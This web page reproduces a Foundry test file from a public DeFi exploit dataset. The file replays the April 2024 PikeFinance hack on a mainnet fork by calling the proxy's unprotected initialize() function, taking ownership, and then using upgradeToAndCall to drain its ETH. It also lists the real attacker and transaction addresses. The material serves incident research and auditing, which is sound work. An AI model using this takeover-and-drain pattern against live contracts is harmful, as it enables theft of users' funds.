Skip to content
THREATWIRE

Public reproduction file

src/test/2024-04/PikeFinance_exp.sol

Public reproduction file for dataset entry PikeFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/PikeFinance_exp.sol69 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "forge-std/Test.sol";
5
6// @KeyInfo - Total Lost : 1.4M
7// Attacker : https://etherscan.io/address/0x19066f7431df29a0910d287c8822936bb7d89e23
8// Attack Contract : https://etherscan.io/address/0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd
9// Vulnerable Contract : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063
10// Attack Tx : https://etherscan.io/tx/0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063#code
15// @Analysis
16// Post-mortem :
17// Twitter Guy :
18// Hacking God :
20interface IPikeFinanceProxy {
21 function initialize(address, address, address, address, uint16, uint16) external;
22 function upgradeToAndCall(address, bytes memory) external;
25contract PikeFinance is Test {
26 uint256 blocknumToForkFrom = 19_771_058;
27 address constant PikeFinanceProxy = 0xFC7599cfFea9De127a9f9C748CCb451a34d2F063;
29 function setUp() public {
30 vm.deal(address(this), 0);
31 vm.createSelectFork("mainnet", blocknumToForkFrom);
32 }
34 function testExploit() public {
35 emit log_named_decimal_uint(" Attacker ETH Balance Before exploit", address(this).balance, 18);
37 // Initialize proxy contract
38 address _owner = address(this);
39 address _WNativeAddress = address(this);
40 address _uniswapHelperAddress = address(this);
41 address _tokenAddress = address(this);
42 uint16 _swapFee = 20;
43 uint16 _withdrawFee = 20;
44 IPikeFinanceProxy(PikeFinanceProxy).initialize(
45 _owner, _WNativeAddress, _uniswapHelperAddress, _tokenAddress, _swapFee, _withdrawFee
46 );
48 // Upgrade proxy contract
49 address newImplementation = address(this);
50 bytes memory data = abi.encodeWithSignature("withdraw(address)", address(this));
51 IPikeFinanceProxy(PikeFinanceProxy).upgradeToAndCall(newImplementation, data);
53 // Log balances after exploit
54 emit log_named_decimal_uint(" Attacker ETH Balance After exploit", address(this).balance, 18);
55 }
57 function withdraw(
58 address addr
59 ) external {
60 (bool success,) = payable(addr).call{value: address(this).balance}("");
61 require(success, "transfer failed");
62 }
64 function proxiableUUID() external pure returns (bytes32) {
65 return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
66 }
68 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “PikeFinance” (2024-04-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x19066f7431df29a0910d287c8822936bb7d89e23

  • Attack Contract

    0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd

  • Vulnerable Contract

    0xfc7599cffea9de127a9f9c748ccb451a34d2f063

  • Attack Tx

    0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431

File record

Name
PikeFinance
Path
src/test/2024-04/PikeFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
fe811fea14a03bfb04e86617dec58459ff2ac670
Language
Solidity
Size
70 lines
Date
2024-04-30
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-04/PikeFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob fe811fea14a03bfb04e86617dec58459ff2ac670, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.